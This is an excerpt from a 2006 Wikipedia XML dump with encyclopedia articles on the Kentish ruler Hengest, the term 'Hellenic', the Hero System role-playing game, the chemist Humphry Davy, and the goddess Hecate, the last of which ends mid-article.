    <title>Hengest</title>
    <id>14365</id>
    <revision>
      <id>40730520</id>
      <timestamp>2006-02-22T17:02:49Z</timestamp>
      <contributor>
        <username>Ryanmcdaniel</username>
        <id>121715</id>
      </contributor>
      <minor />
      <comment>/* In culture */</comment>
      <text xml:space="preserve">{{selfref|This article is about the ruler of Kent.  For the World War II glider, see [[Slingsby Hengist]].}}

'''Hengest''' or '''Hengist''' (d. [[488]]?) was a semi-legendary ruler of [[Kingdom of Kent|Kent]] in southeast [[England]].

The facts of his life are unknown, but according to [[Bede]] (writing nearly 200 years after the events in question), he and his brother [[Horsa]] were [[mercenary|mercenaries]] for the British ruler [[Vortigern]], hired to fight against the [[Picts]]. Following his victories over the Picts, Hengest invited more immigrants from [[Germany]] to settle in [[Britain]] and then rebelled against Vortigern because the Britons refused to make an agreed payment, establishing himself as king in Kent. Both Hengest and Horsa are described as being [[Jutes]], and sons of a Jutish chief named [[Wihtgils]].

The actual historical existence of both Hengest and Horsa has been called into question numerous times, with many historians labeling these two as legendary 'divine twins' or [[culture hero]]es along the order of [[Romulus and Remus|Romulus]] and [[Remus]].  It is perhaps more likely that Hengest, meaning 'Stallion' in [[Old English language|Old English]] (in modern German 'Hengst' is still the word for a stallion), was an honorific for an actual warlord, while Horsa was a later accretion to the story, perhaps as a misreading of a gloss in a manuscript that was written to define the name Hengest as meaning 'horse'.{{Citeneeded}}

Later accounts in the ''[[Anglo-Saxon Chronicle]]'', the ''[[Historia Britonum]]'', [[Geoffrey of Monmouth]]'s ''[[Historia Regum Britanniae]]'', and [[Wace]]'s ''[[Roman de Brut]]'' add further details from tradition and legend about Hengest's career. The ''Anglo-Saxon Chronicle'' dates his death to 488, but does not provide a cause. According to some tellings of the [[Arthurian legend]], the [[King of the Britons|British king]] [[Uther Pendragon]] killed him.{{Citeneeded}}

==In culture==
''Hengest'' is a character in the ''Fight at Finnsburg'' narrative mentioned in the [[Finnsburg Fragment]] and the ''[[Beowulf]]'' poem.  In these texts, Hengest is a [[Daner|Danish]] warrior who takes control of the Danish forces after the prince [[Hnæf]] is killed, and succeeds in killing the [[Frisian]] lord [[Finn (Frisian)|Finn]] in revenge for his lord's death. The events in these accounts had a historical basis, and have been supposed by  historians to occur in approximately [[450]] A.D. This makes these events contemporary with the [[Anglo-Saxon]] invasion of England, though what connection (if any) exists between the two Hengests is unknown.

Nevertheless, some have speculated that the two Hengests are one and the same. A point against this theory is the fact that one Hengest is described as a Jute and the other a Dane, though this does not serve as a conclusive disproof, as distinctions between adjacent groups (both Jutes and Danes lived in Denmark) were sometimes vague.

Hengest is also the subject of the [[1620]] play ''Hengist, King of Kent, or The Mayor of Queenborough'' by [[Thomas Middleton]].

==See also==
*[[List of monarchs of Kent]]

==References==
{{Unreferenced}}
# The ''[[Anglo-Saxon Chronicle]]''
# [[Bede]]'s ''[[Historia ecclesiastica gentis Anglorum]]''
# The ''[[Historia Britonum]]'', attributed to [[Nennius]]
# [[Geoffrey of Monmouth]]'s ''[[Historia Regum Britanniae]]''
# [[Wace]]'s ''[[Roman de Brut]]'' 

{{s-start}}
{{s-new|reason=Conquest}}
{{s-ttl|title=[[Kingdom of Kent|King of Kent]]|years=455/456-488|regent1=[[Horsa]]}}
{{s-aft|after=[[Oisc of Kent|Oisc]]}}
{{end}}

[[Category:480s deaths]]
[[Category:Kentish monarchs]]
[[Category:English heroic legends]]
[[Category:Arthurian legend]]
[[Category:Mercenaries]]
[[Category:Sub-Roman Britain]]
[[Category:Anglo-Saxon mythology]]

[[ang:Hengest]]
[[de:Hengest]]
[[fr:Hengist et Horsa]]
[[no:Hengest av Kent]]
[[sv:Hengist]]</text>
    </revision>
  </page>
  <page>
    <title>Hellenic</title>
    <id>14366</id>
    <revision>
      <id>41576967</id>
      <timestamp>2006-02-28T06:40:38Z</timestamp>
      <contributor>
        <username>Dbachmann</username>
        <id>86857</id>
      </contributor>
      <comment>this is not accepted terminology. by our category, &quot;Hellenic languages&quot; is equivalent to &quot;Greek dialects&quot;.</comment>
      <text xml:space="preserve">'''Hellenic''' may refer to:
*the [[Hellenic Republic]] (the modern Greek state)
*the Hellenes, itself a term for either ancient or modern [[Greeks]]
*anything related to [[Greece]] in general or [[Ancient Greece]] in particular.
*the [[Greek language]], especially the [[Ancient Greek language]]

==See also== 
*[[Greek (name)]]
*[[:Category:Hellenic languages and dialects]]
*[[:Category:Hellenic scripts]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Hero System</title>
    <id>14368</id>
    <revision>
      <id>40074883</id>
      <timestamp>2006-02-17T23:19:41Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">[[Image:Hero system 5th edition.jpg|right|260px|Hero System 5th edition book cover]]
The '''''Hero System''''' (or '''''HERO System''''') is a [[role-playing game]] [[Generic Systems|generic system]] that developed from the [[superhero]] RPG [[Champions]], and underlying the [[Hero Games]] role-playing games such as [[Champions (role-playing game)|Champions]], [[Dark Champions]], [[Fantasy Hero]], [[Star Hero]], and [[Pulp Hero]]. It is characterized by point-based character creation and the rigor with which it measures character abilities. It was one of the first RPG systems to forego the use of non-cubical [[dice]].

== System Features ==
The HERO System character creation system is entirely points-based with no random elements. Players are given a pool of points, the size of which varies depending on the campaign type, with which to buy Characteristics, Skills, Talents and Powers. They can gain additional points by taking Disadvantages that hamper their character in play.

Abilities in the HERO System, particualrly Powers (a broad category that includes superpowers, magic, psionics and high technology), are modeled based on their effects. The player chooses an effect the power models (such as Energy Blast) and chooses a set of modifiers to fine-tune the power's function. Each modifier makes the Power more or less expensive. HERO System products and players are notorious for the ingenuity and complexity of their power contructions.

Tasks are resolved using three six-sided dice and Power effects (especially damage) are resolved by rolling a number of dice based on the power's level.

Unlike the [[d20 System]], experience awards are in the form of character points, which have the same value as those used in character creation and can be applied directly to the character's abilities upon receipt.

===Character Creation===
The Hero System's biggest innovation was its use of a point-based system for character creation with a tool-kit approach to creating abilities. The rules only define the ability's effects in combat -- the player defines what the ability looks like when used.  For example, the ability to project a jet of fire could be bought as &quot;Energy Blast,&quot; or any of a number of other abilities.  The player then defines it as a &quot;jet of fire,&quot; with all that implies: it has the possibility of starting secondary fires; it looks, smells and sounds like a jet of fire; etc. This Energy Blast could be modified by any number of modifiers such as &quot;Explosion,&quot; &quot;Area of Effect&quot; or &quot;No Range.&quot;  These affect how the power works as well as its final cost.

Each player creates his character starting with a pool of points to buy abilities (such as the aforementioned &quot;Energy Blast&quot; and &quot;Armor&quot;), increase characteristics (such as &quot;Strength&quot; and &quot;Intelligence&quot;) and buy skills (such as &quot;Computer Programming&quot; and &quot;Combat Driving&quot;).  This pool can be increased by taking disadvantages for your character (such as being hunted by an enemy, a dependency of some sort or having people who depend on your character in some way).  The initial pool, as well as the final pool size, is determined by the [[gamemaster|Game Master]], as well as the point limits on each individual ability.

===Advantages and Disadvantages===
The advantages of the Hero System are commonly considered to be:

#It eases [[game balance]] issues for the GM: a 200-point character is generally less powerful than a 300-point character.
#It is very flexible in character creation, allowing players to create nearly any character they can imagine.
#It uses only common six sided dice.

The primary disadvantages are commonly considered to be:

#Complexity, though perhaps not as much as some other systems, such as [[Chivalry &amp; Sorcery]].
#Combat has a tendency to slow things to a crawl.  Twenty seconds of combat can take hours to adjudicate.
#Flexibility in character creation gives large advantage to veteran players who spend time optimizing power limitations and frameworks.  This can lead to one 200-point player character being much more powerful than another.
#Depending upon the game's genre and power level, many dice may be needed.
#Character generation can be math-intensive (though this issue is addressed to an extent; see below).

===Powers===
The powers system is divided into a set of standard powers, and a list of advantages and disadvantages that can be applied to each power. Many of the powers have specific advantages and disadvantages that apply only to that power. The powers in the Hero system are categorized roughly as follows:

:*'''Adjust''' &amp;mdash; Modify the Characteristics of self or another.
:*'''Attack''' &amp;mdash; Inflict physical damage to an opponent.
:*'''Affect Body''' &amp;mdash; Change shape, size, density, &amp;c.
:*'''Affect Sense''' &amp;mdash; Alter or hinder a character's senses.
:*'''Defense''' &amp;mdash; Protect against an attack or mishap.
:*'''Mental''' &amp;mdash; Affect the mind of another.
:*'''Movement''' &amp;mdash; Employ various forms of movement.
:*'''Senses''' &amp;mdash; Improve or expand upon the sensory abilities.
:*'''Other''' &amp;mdash; Powers that do not fall into the other categories.

Within each of these categories are multiple powers that have more specialized effects. Thus for the movement category there are powers that can be used for [[running]], [[swimming]], [[climbing]], [[jumping]], [[gliding]], [[flying]], [[tunnel]]ing through solid surfaces, and even [[teleportation]]. For certain game [[genre]]s there are even powers for travel to other dimensions or moving faster than light.

Each power has a base point cost for a given effect. This could be, for example, a certain number of points per six-sided-die (or &quot;d6&quot;) of damage inflicted upon a foe. The advantages and disadvantages are then selected for the power, and summed up. These modifiers are typically in integer increments of &amp;plusmn;&amp;frac14;, but can range up to &amp;plusmn;2 or even higher. The real cost of the power is then determined by:

:'''Real Cost''' = '''Base Cost''' &amp;times; (1 + ''Advantages'') / (1 + ''Disadvantages'')

The energy cost (and possibly the skill) required to activate and use a power is typically based on the base cost of the power. The real cost just gives the point expenditure required to gain the power.

The rules also include schemes for providing a larger number of powers to a character for a given cost. These power frameworks reduce the cost either by requiring the group of powers to have a common theme as in an Elemental Control Framework, or by limiting the number of powers that can be active at one time with a Multipower Framework. Powers within a framework can share common disadvantages, further reducing the cost.

===Math Issues===
One of the criticisms leveled at the Hero System almost since its inception is the relatively large amount of math involved in its use, particularly during character creation. While almost none of this math goes beyond the basic functions of [[addition]], [[subtraction]], [[multiplication]], and [[division (mathematics)|division]] (certain obscure and completely optional situations ''may'' call for a [[logarithm|logarithmic]] function), this can seem daunting to newcomers.

== Publishing History ==
Although several games based on the Hero System were published in the 1980's, including [[Champions]], [[Danger International]], [[Justice, Inc. (role-playing game) | Justice, Inc.]], [[Robot Warriors]] and the original versions of [[Fantasy HERO]] and [[Star HERO]], each of the RPGs was self-contained, much as [[Chaosium]]'s [[Basic Role-Playing]] games are.  The HERO System itself was not released as an independent entity until [[1989]], as [[GURPS]] (Generic Universal Roleplaying System) became more popular. As a joint venture between [[Hero Games]] and [[Iron Crown Enterprises]], a stand-alone Hero System Rulebook was published alongside the fourth edition of Champions. The content was identical to the opening sections of the Champions rules, but all genre-related material was removed. Afterward, genre books such as [[Ninja HERO]] and [[Fantasy HERO]] were published as sourcebooks for the HERO System Rulebook as opposed to being independent games.

With the collapse of the Hero-ICE alliance, the Hero System went into limbo for several years. The Champions franchise released a new version under the [[Fuzion]] system, which had been a joint development with [[R. Talsorian Games]], called [[Champions: the New Millenium]]. Although two editions were published, it was very poorly received by Champions fans. In 2001, a reconstituted Hero Games was formed under the leadership of [[Steve Long (Hero Games) | Steve Long]], who had written several books for the earlier version of the system. It regained the rights to the Hero System and to the Champions trademark.

In [[2001]], the Fifth Edition of the Hero System Rulebook was released that had been heavily revised by Long. A large black hardcover, it was critically well-received and attained a degree of commercial success. A revised version was issued in [[2004]]. Also in 2004, a condensed version of the rulebook called [[HERO System Sidekick]] was released with a cover price of under $10.

== Trivia ==
* When preparations were made for the release of the Fifth Edition rulebook, Steve Long was asked what fans should use as a shorthand for the new release. He was quoted as saying &quot;I don't care if you call it ''Fred'', as long as you buy it.&quot; The name stuck, and the Fifth Edition is frequently referred to in fandom as FREd, which is claimed to stand for &quot;Fifth Rules Edition&quot;. The revised rulebook is often referred to as &quot;Fiver&quot;, a reference to &quot;Fifth Edition&lt; revised&quot; and to the character in the [[Richard Adams (author)|Richard Adams]] novel ''[[Watership Down]]''.

* Although no mathematics operation more complex than division is required to make a HERO System character, the complexity of some contructions has led to a demand for [[software]] to automate the bookkeeping involved. A DOS program called [[Heromaker]] was distributed with some versions of [[Champions]], and a program called [[Hero Designer]] for multiple OS platforms supports the Fifth Edition. The latter is supported by numerous character packs and other extensions linked to Hero Games book releases.

* The massive bulk of the Hero System Rulebook Revised led to much speculation that the volume might actually be ''bulletproof''. The Hero Games website includes a video in which damaged copies of the book are shot with several different firearms, and some of the bullets actually do not penetrate the entire book.

==See also==
* 
* [[Champions (role-playing game)|Champions]]
* [[Fantasy Hero]]
* [[Justice, Inc. (role-playing game)|Justice, Inc.]]
* [[Star Hero]]
* [[Hero Games]]

== External links ==
*[http://www.herogames.com/Products/hero5.htm Hero Games: Hero System 5th edition]
*[http://dmoz.org/Games/Roleplaying/Genres/Universal/Hero_System/ Open Directory Project Hero System category]

[[Category:Hero System]]
[[Category:Role-playing game systems]]
[[Category:Superhero role-playing games]]
[[Category:Universal role-playing games]]

[[de:Hero System]]</text>
    </revision>
  </page>
  <page>
    <title>Humphry Davy</title>
    <id>14369</id>
    <revision>
      <id>41851068</id>
      <timestamp>2006-03-02T03:39:12Z</timestamp>
      <contributor>
        <username>Chalybs</username>
        <id>690313</id>
      </contributor>
      <text xml:space="preserve">[[Image:Sir Humphry Davy.jpg|thumb|right|Sir Humphry Davy.]] 
'''Sir Humphry Davy, 1st Baronet''', [[Fellow of the Royal Society|FRS]] ([[17 December]] [[1778]] &amp;ndash; [[29 May]] [[1829]]), often incorrectly spelled ''Humphrey'', was an esteemed [[Cornwall|Cornish]] [[chemist]] and [[physicist]].  He was born in [[Penzance, Cornwall]], [[United Kingdom]].

Sir Humphry revelled in his status, as his lectures gathered many spectators. Davy became well known due to his experiments with the physiological action of some [[gas]]es, including laughing gas ([[nitrous oxide]]) - to which he was addicted, once stating that its properties bestowed all of the benefits of alcohol but was devoid of its flaws. Davy later damaged his eyesight in a laboratory accident with [[nitrogen trichloride]]. In 1801 he was nominated [[professor]] at the [[Royal Institution]] of Great Britain and Fellow of the [[Royal Society]], over which he would later preside.

[[Image:Humphrydavy.jpg|thumb|left|100px|Humphry Davy in his youth.]]
In [[1800]], [[Alessandro Volta]] introduced the first electric pile or [[battery (electricity)|battery]]. Davy used this electric battery to separate [[salt]]s by what is now known as [[electrolysis]]. With many batteries in series he was able to separate elemental [[potassium]] and [[sodium]] in 1807 and [[calcium]], [[strontium]], [[barium]], and [[magnesium]] in 1808. He also studied the energies involved in separating these salts, which is now the field of [[electrochemistry]].

In 1812 he was knighted, gave a farewell lecture to the Royal Institution, and married a wealthy widow, [[Jane Apreece]]. In October 1813 he and his wife, accompanied by [[Michael Faraday]] as his scientific assistant (and valet) traveled to [[France]] to collect a medal that [[Napoleon Bonaparte]] had awarded Davy for his electro-chemical work. Whilst in Paris, Davy was asked to by [[Joseph Louis Gay-Lussac|Gay-Lussac]] to investigate a mysterious substance isolated by [[Barnard Courtois]]. Davy showed it to be an element, which is now called [[iodine]]. The party continued to travel though mainland [[Europe]], visiting, amongst others, [[Rome]], [[Mount Vesuvius]] and [[Switzerland]]. After his return to England in 1815, Davy went on to produce the [[Davy lamp]] which was used by miners, although there is evidence to show that Davy &quot;invented&quot; his device at about the same time as an engineer, [[George Stephenson]], but claimed all the credit for the invention.

He also showed that [[oxygen]] could not be obtained from the substance known as [[hydrochloric acid|oxymuriatic acid]] and proved the substance to be an element, which he named [[chlorine]]. (However [[Carl Scheele]] is credited as the discoverer of chlorine.  Scheele had discovered it 36 years before Davy, but was unable to publish his findings.)  This discovery overturned [[Antoine Lavoisier|Lavoisier's]] definition of acids as compounds of oxygen. 

In 1815 Davy suggested that acids were substances that contained replacable [[hydrogen]] &amp;ndash; hydrogen that could be partly or totally replaced by [[metals]]. When acids reacted with metals they formed [[salt]]s. [[Base (chemistry)|Base]]s were substances that reacted with acids to form salts and water. These definitions worked well for most of the century. Today we use the [[Brønsted-Lowry]] theory of acids and bases.  

In 1818, he was awarded a [[baronet|baronetcy]].

In 1824 he proposed and eventually mounted chunks of iron to the hull of a copper clad ship in the first use of [[cathodic protection]]. Whilst this was effective in preventing the corrosion of copper, it eliminated the anti-fouling properties of the copper hull, leading to the attachment of molluscs and barnacles to the &quot;protected&quot; hull, slowing these ships and requiring extensive time in dry docks for defouling operations.

Davy died in [[Geneva]], [[Switzerland]], his various inhalations of chemicals finally taking its toll on his health.  His laboratory assistant [[Michael Faraday]] went on to enhance his work and in the end became more famous and influential &amp;ndash; to such an extent that Davy is supposed to have claimed Faraday as his greatest discovery. However, he later accused his assistant of [[plagiarism]], causing Faraday to cease all research in [[classical electromagnetism|electromagnetism]] until his mentor's death.

==Davy's Statue==
In the town of [[Penzance]] in [[Cornwall]] a statue of Sir Humphry Davy stands in front of the imposing Market House, now owned by [[Lloyds TSB]], at the summit of [[Market Jew Street]], the town's main high street. On the plinth a plaque reads as follows: 

'''Sir Humphry Davy''' 

The most famous son of Penzance was one of the leading scientists of the 19th century.

Davy was born in Penzance in 1778, the son of a woodcarver. At the age of 16 he was apprenticed to a local doctor and became interested in chemistry. In 1798 he left to work in a medical laboratory in Bristol. There he discovered the pain releaving effects of laughing gas (nitrous oxide) and suggested its anaesthetic use.

By the age of 24, Davy was a professor of chemistry at the Royal Institution. He founded the science of electro-chemistry and discovered 6 new elements including potassium and sodium. He became famous and was honoured throughout Europe.
Davy is remembered now for his work on the miner's safety lamp which bears his name, but perhaps his greatest contribution to science was the encouragement he gave to the young Michael Faraday.

Davy kept in touch with his roots and supported the Royal Geological Society in Penzance and left money to his old school. He died in 1829.

This statue was erected in 1872 and was produced by the sculptors Wills of London and is of white marble.

== External links ==
{{Commons|Humphry Davy}}

[[Category:Baronets in the Baronetage of the United Kingdom|Davy, Humphry, 1st Baronet]]
[[Category:Presidents of the Royal Society]]
[[Category:British inventors|Davy, Humphry]]
[[Category:British scientists|Davy, Humphry]]
[[Category:British chemists|Davy, Humphry]]
[[Category:1778 births|Davy, Humphry]]
[[Category:1829 deaths|Davy, Humphry]]
[[Category:Natives of Cornwall|Davy, Humphry]]
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  <page>
    <title>Hecate</title>
    <id>14372</id>
    <revision>
      <id>41636977</id>
      <timestamp>2006-02-28T18:22:54Z</timestamp>
      <contributor>
        <ip>213.39.18.130</ip>
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      <comment>+ commonscat</comment>
      <text xml:space="preserve">{{Greek myth (earth)}}
'''Hecate''', '''Hekate''' (''Hek&amp;#x00e1;t&amp;#x0113;''), or '''Hekat''' was originally a goddess of the wilderness and childbirth originating from [[Thrace]], or among the [[Caria]]ns of [[Anatolia]] &lt;ref name=&quot;Burkert&quot;&gt; Walter Burkert, (1987). ''Greek Religion: Archaic and Classical'', pp 171. Oxford, Blackwell. ISBN 0631156240.&lt;/ref&gt;. Popular cults venerating her as a mother goddess integrated her persona into Greek culture as ''''Εκατη'''. In [[Alexandria|Ptolemaic Alexandria]] she ultimately achieved her connotations as a goddess of sorcery and her role as the ‘Queen of Ghosts’, in which guise she was transmitted to post-Renaissance culture. Today she is often seen as a goddess of [[witchcraft]].


==Representations==
The earliest depictions of Hecate are single faced, not triplicate. Lewis Richard Farnell states:
:''The evidence of the monuments as to the character and significance of Hekate is almost as full as that of the literature. But it is only in the later period that they come to express her manifold and mystic nature. Before the fifth century there is little doubt that she was usually represented as of single form like any other divinity, and it was thus that the [[Hesiod|Boeotian poet]] imagined her, as nothing in his verses contains any allusion to a triple formed goddess. The earliest known monument is a small terracotta found in Athens, with a dedication to Hekate (Plate XXXVIII. a), in writing of the style of the sixth century. The goddess is seated on a throne with a chaplet bound round her head; she is altogether without attributes and character, and the only value of this work, which is evidently of quite a general type and gets a special reference and name merely from the inscription, is that it proves the single shape to be her earlier from, and her recognition at Athens to be earlier than the Persian invasion.'' &lt;ref&gt;Lewis Richard Farnell, (1896). &quot;Hecate in Art&quot;, ''The Cults of the Greek States''. [[Oxford University Press]], [[Oxford]]. &lt;/ref&gt;

[[Pausanias (geographer)|Pausanias]] stated that Hecate was first depicted in triplicate by the sculptor [[Alkamenes]] in the Greek Classical period of the late 5th century. Some classical portrayals, such as the one illustrated below, show her as a triplicate goddess holding a torch. Others continue to depict her in singular form. In Egyptian-inspired Greek [[esotericism|esoteric writings]] connected with [[Hermes Trismegistus]], and in magical papyri of [[Late Antiquity]] she is described as having three heads: one dog, one [[Serpent (symbolism)|serpent]] and one horse. Hecate's triplicity is expressed in a more Hellene fashion, with three bodies instead, where she is shown taking part in the battle with the Titans in the vast frieze of the great altar of Pergamum, now in Berlin. In the [[Argos|Argolid]], near the shrine of the Dioscuri, the 2nd-century CE traveller [[Pausanias (geographer)|Pausanias]] saw the temple of Hecate opposite the sanctuary of Eilethyia; &quot;The image is a work of [[Scopas]]. This one is of stone, while the bronze images opposite, also of Hekate, were made respectively by [[Polyclitus|Polycleitus]] and his brother Naucydes, son of Mothon. (''Description of Greece'' ii.22.7)

A [[4th century BCE]] marble relief from Crannon in Thessaly was dedicated by a race-horse owner. It shows Hecate, with a hound beside her, placing a wreath on the head of a mare. This statue is in the British Museum, inventory number 816. Her attendant and animal representation is of a bitch, and the most common form of offering was to leave meat at a crossroads. Sometimes dogs themselves were sacrificed to her (a good indication of her non-Hellenic origin, as dogs along with donkeys, very rarely played this role in genuine Greek ritual).

==Mythology==
Despite popular belief, Hecate was not originally a Greek goddess. She is unknown to [[Homer]] and in fact the earliest written references to her are in [[Hesiod]]'s ''[[Theogony]]''. The place of origin of her cult is uncertain, but it is thought &lt;ref name=&quot;Burkert&quot;/&gt; that she had popular cult followings in [[Thrace]]. Her most important sanctuary was [[Lagina]], a theocratic city-state in which the goddess was served by [[eunuch]]s &lt;ref name=&quot;Burkert&quot;/&gt;. Lagina, where the famous temple of Hecate drew great festal assemblies every year, lay close to the originally [[Macedon]]ian [[colonies in antiquity|colony]] of [[Stratonikea]]  &lt;ref&gt; Strabo, ''Geography'' xiv.2.25&lt;/ref&gt;. In Thrace she played a role similar to that of lesser-[[Hermes]], namely a governess of [[liminal]] points and the wilderness, bearing little resemblance to the night-walking crone. Additionally, this led to her role of aiding women in childbirth and the raising of young men.

[[Image:Hécate - Mallarmé.png|thumb|left|Hecate, [[Ancient Greece|Greek]] goddess of the crossroads; drawing by [[Stephane Mallarmé]] in ''Les Dieux Antiques, nouvelle mythologie illustrée'' in [[Paris]], 1880.]]

There was a fane sacred to Hecate as well in the precincts of the [[Temple of Artemis at Ephesus]], where the eunuch priests, ''megabyzi'', officiated &lt;ref&gt; Strabo, ''Geography'', xiv.1.23 &lt;/ref&gt;. Hesiod records that she was among the offspring of [[Gaia]] and [[Uranus]], the Earth and Sky. In ''Theogony'' he ascribed to Hecate such wide-ranging and fundamental powers, that it is hard to resist seeing such a deity as a figuration of the Great Goddess, though as a good Olympian [[Hesiod]] ascribes her powers as the &quot;gift&quot; of [[Zeus]]:

:''&quot;Hecate whom Zeus the son of Cronos honoured above all. He gave her splendid gifts, to have a share of the earth and the unfruitful sea. She received honour also in starry heaven, and is honoured exceedingly by the deathless gods.... The son of Cronos did her no wrong nor took anything away of all that was her portion among the former Titan gods: but she holds, as the division was at the first from the beginning, privilege both in earth, and in heaven, and in sea&quot;.''

Her gifts towards mankind are all-encompassing, Hesiod tells:
:''&quot;Whom she will she greatly aids and advances: she sits by worshipful kings in judgement, and in the assembly whom her will is distinguished among the people. And when men arm themselves for the battle that destroys men, then the goddess is at hand to give victory and grant glory readily to whom she will. Good is she also when men contend at the games, for there too the goddess is with them and profits them: and he who by might and strength gets the victory wins the rich prize easily with joy, and brings glory to his parents. And she is good to stand by horsemen, whom she will: and to those whose business is in the grey discomfortable sea, and who pray to Hecate and [[Poseidon|the loud-crashing Earth-Shaker]], easily the glorious goddess gives great catch, and easily she takes it away as soon as seen, if so she will. She is good in the byre with Hermes to increase the stock. The droves of kine and wide herds of goats and flocks of fleecy sheep, if she will, she increases from a few, or makes many to be less&quot;.''

Hecate was carefully attended:
:''&quot;For to this day, whenever any one of men on earth offers rich sacrifices and prays for favour according to custom, he calls upon Hecate. Great honour comes full easily to him whose prayers the goddess receives favourably, and she bestows wealth upon him; for the power surely is with her&quot;.''

[[Hesiod]] emphasizes that Hecate was an only child, the daughter of [[Asteria]], a star-goddess who was the sister of [[Leto]], the mother of [[Artemis]] and [[Apollo]]. Grandmother of the three cousins was Phoebe the ancient Titaness who personified the moon. Hecate was a reappearance of Phoebe, a moon goddess herself, who appeared in the dark of the moon.

His inclusion and praise of Hecate in ''[[Theogony]]'' is troublesome for scholars in that being at the time a relatively minor and foreign goddess, he seems fulsomely to praise her attributes and responsibilities in the ancient cosmos. It is theorized &lt;ref name=&quot;Restless_Dead&quot;&gt;Johnston, Sarah Iles, (1991). ''Restless Dead: Encounters Between the Living and the Dead in Ancient Greece''. ISBN 0520217071&lt;/ref&gt; that [[Hesiod’s]] original village had a substantial Hecate following and that his inclusion of her in the Theogony was his own way to boost the home-goddess for unfamiliar hearers.

As her cult spread into areas of Greece it presented a conflict, as Hecate’s role was already filled by other more prominent gods in the Greek pantheon, above all by [[Artemis]], and by more archaic figures, such as [[Nemesis (mythology)|Nemesis]]. 

There are two versions of Hecate that emerge in Greek myth. The lesser role integrates Hecate while not diminishing Artemis. In this version &lt;ref name=&quot;Restless_Dead&quot;/&gt;Hecate is a mortal priestess who is commonly associated with [[Iphigeneia]] and scorns and insults Artemis, eventually leading to her suicide. Artemis then adorns the dead body with jewelry and whispers for her spirit to rise and become her Hecate, and act similar to Nemesis as an avenging spirit, but solely for injured women. Such myths where a home god sponsors or ‘creates’ a foreign god were widespread in ancient cultures as a way of integrating foreign cults. Additionally, as Hecate’s cult grew, her figure was added to the myth of the birth of Zeus &lt;ref name=&quot;Restless_Dead&quot;/&gt; as one of the midwives that hid the child, while [[Cronus]] consumed the deceiving rock handed to him by [[Gaia]].

The second version helps to explain how Hecate gains the title of the &quot;[[Queen of Ghosts]]&quot; and her role as a goddess of sorcery. Similar to totems of Hermes&amp;mdash;''herms''&amp;mdash; placed at borders as a ward against danger, images of Hecate, as a [[liminal]] goddess, could also serve in such a protective role. It became common to place statues of the goddess at the gates of cities, and eventually domestic doorways. Over time, the association of keeping out evil spirits, lead to the belief that if offended Hecate could also let in evil spirits. Thus invocations to Hecate arose as her the supreme governess of the borders between the normal world and the spirit world &lt;ref name=&quot;Restless_Dead&quot;/&gt;.

Eventually, Hecate’s power resembled that of sorcery. [[Medea]], who was a priestess of Hecate, used witchcraft in order to handle magic herbs and poisons with skill, and to be able to stay the course of rivers {{fact}}, or check the paths of the stars and the moon.

Implacable Hecate has been called &quot;tender-hearted&quot;, probably because she was concerned with the disappearance of Persephone, and addressed Demeter with sweet words when the goddess was distressed.

Although she was never truly incorporated among the [[Twelve Olympians|Olympian]] gods, the modern understanding of Hecate is derived from the syncretic [[Hellenistic]] culture of Alexandria. In the magical papyri of Ptolemaic Egypt, she is called the she-dog or bitch, and her presence is signified by the barking of dogs. She sustained a large following, though, remaining a goddess of protection and childbirth. In late imagery she also has two ghostly dogs as servants by her side. 

In modern times Hecate has become a prevalent figure in [[feminism|feminist]]-inspired [[Neopagan]] religions, and a version of Hecate has been appropriated by [[Wicca]] and other modern magic-practising traditions.

== Relations in the Greek Pantheon ==

Hecate is a pre-Olympian [[chthonic]] goddess. The Greek sources do not offer a story of her parentage, beyond the ''Theogony'', or of her relations in the Greek pantheon: Sometimes Hecate is a Titaness, daughter of [[Perses]] and [[Asteria]], and a mighty helper and protector of mankind. Her continued presence was explained by asserting that, because she was the only Titan that aided Zeus in the [[Titanomachia|battle of gods and Titans]], she was not banished into the underworld realms after their defeat by the Olympians.

It is also told that she is the daughter of [[Demeter]] or Pheraia. Hecate, like Demeter, was a goddess of the earth and fertility. Sometimes she is called a daughter of [[Zeus]].

Like many ancient mother or earth-goddesses she remains unmarried and has no regular consort. On the other side she is the mother of many monsters, such as [[Scylla]].

== Other names and epithets ==
&lt;!--these need a little explication and a mention of sources where they appear--&gt;
*&lt;b&gt;Chthonian&lt;/B&gt; (Earth/Underworldgoddess)
*&lt;b&gt;Crataeis&lt;/B&gt; (the Mighty One)
*&lt;b&gt;Enodia&lt;/b&gt; (Goddess of the paths)
*&lt;b&gt;Antania&lt;/b&gt; (Enemy of mankind)
*&lt;b&gt;Kurotrophos&lt;/b&gt; (Nurse of the Children and Protectress of mankind)
*[[Artemis]] of the crossroads
*&lt;b&gt;Propylaia&lt;/b&gt; (the one before the gate) 
*&lt;b&gt;Propolos&lt;/b&gt; (the attendant who leads) 
*&lt;b&gt;Phosphoros&lt;/b&gt; (the light-bringer) 
*&lt;b&gt;Soteira&lt;/b&gt; (&quot;Saviour&quot;)
*&lt;b&gt;Prytania&lt;/b&gt; (invincible Queen of the Dead)
*&lt;b&gt;Trioditis&lt;/b&gt; (gr.) &lt;b&gt;Trivia&lt;/B&gt; (latin: Goddess of Three Roads)
*&lt;b&gt;Klêidouchos&lt;/B&gt; (Keeper of the Keys) 
*&lt;b&gt;Tricephalus&lt;/b&gt; or &lt;b&gt;Triceps&lt;/B&gt; (The Three-Headed) 

=== Goddess of the crossroads ===
Hecate had a special role at three-way crossroads, where the Greeks set poles with masks of each of her heads facing different directions {{fact}}

The crossroad aspect of Hecate stems from her original sphere as a goddess of the wilderness and untamed areas. This led to sacrifice in order for safe travel into these areas. This role is similar to lesser [[Hermes]], that is, a god of [[liminal]] points or boundaries.

Hecate is the Greek version of ''[[Trivia]]'' &quot;the three ways&quot; in [[Roman mythology]]. [[Eligius]] in the [[7th century CE]] reminded his recently converted flock in Flanders &quot;No Christian should make or render any devotion to the gods of the trivium, where three roads meet, to the fanes or the rocks, or springs or groves or corners&quot;, acts the [[Druid]]s often did.

=== Goddess of sorcery ===

The goddess of sorcery or magic is Hecate's most common modern title.

== Emblems ==
&lt;!--[[Image:Hecate and Cerberus.jpg|thumb|right|Hecate, goddess of witchcraft and sorcery, with [[Cerberus]]; Greek bowl ([[krater]]) made in the 4th century B.C.]]--&gt;
Traditionally, Hecate is represented as carrying torches, very often has a knife, and may appear holding a rope, a key, a [[phial]] {{fact}}, flowers {{fact}}, or a [[pomegranate]] {{fact}}. 

